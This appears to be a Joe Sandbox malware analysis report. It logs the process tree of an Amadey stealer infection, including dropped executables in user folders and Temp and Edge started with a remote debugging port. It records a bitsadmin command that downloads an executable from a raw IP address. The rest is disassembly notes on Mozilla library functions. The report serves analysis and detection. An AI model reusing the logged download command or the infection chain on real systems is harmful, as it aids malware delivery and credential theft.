Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2252,i,14689165809739536142,13499109782927438329,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:24:31
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	11:24:31
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	11:24:35
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:24:35
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:24:36
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:24:36
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:24:58
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCFIIEBKEG.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:24:58
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:24:58
Start date:	28/11/2024
Path:	C:\Users\user\DocumentsGCFIIEBKEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsGCFIIEBKEG.exe"
Imagebase:	0xdc0000
File size:	1'865'728 bytes
MD5 hash:	2FF2F4CB39A9D0E4C3270991B067FC0D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2709127901.0000000000DC1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2668565820.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:25:01
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc50000
File size:	1'865'728 bytes
MD5 hash:	2FF2F4CB39A9D0E4C3270991B067FC0D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2706955023.0000000005430000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2747558518.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:25:31
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7312 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:26:01
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc50000
File size:	1'865'728 bytes
MD5 hash:	2FF2F4CB39A9D0E4C3270991B067FC0D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.3420805105.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.3292431659.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:26:11
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe"
Imagebase:	0x400000
File size:	43'115 bytes
MD5 hash:	56944BE08ED3307C498123514956095B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	11:26:11
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 1 8.8.8.8
Imagebase:	0xf70000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:26:11
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:26:12
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\bitsadmin.exe
Wow64 process (32bit):	true
Commandline:	bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe"
Imagebase:	0xcf0000
File size:	186'880 bytes
MD5 hash:	F57A03FA0E654B393BB078D1C60695F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	11:26:12
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

AuthcAMDenti, xrefs: 6C953946
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
QPC, xrefs: 6C9538FC
GenuntelineI, xrefs: 6C953639
GTC, xrefs: 6C953912

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
[I %d/%d] profiler_init, xrefs: 6C96564E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
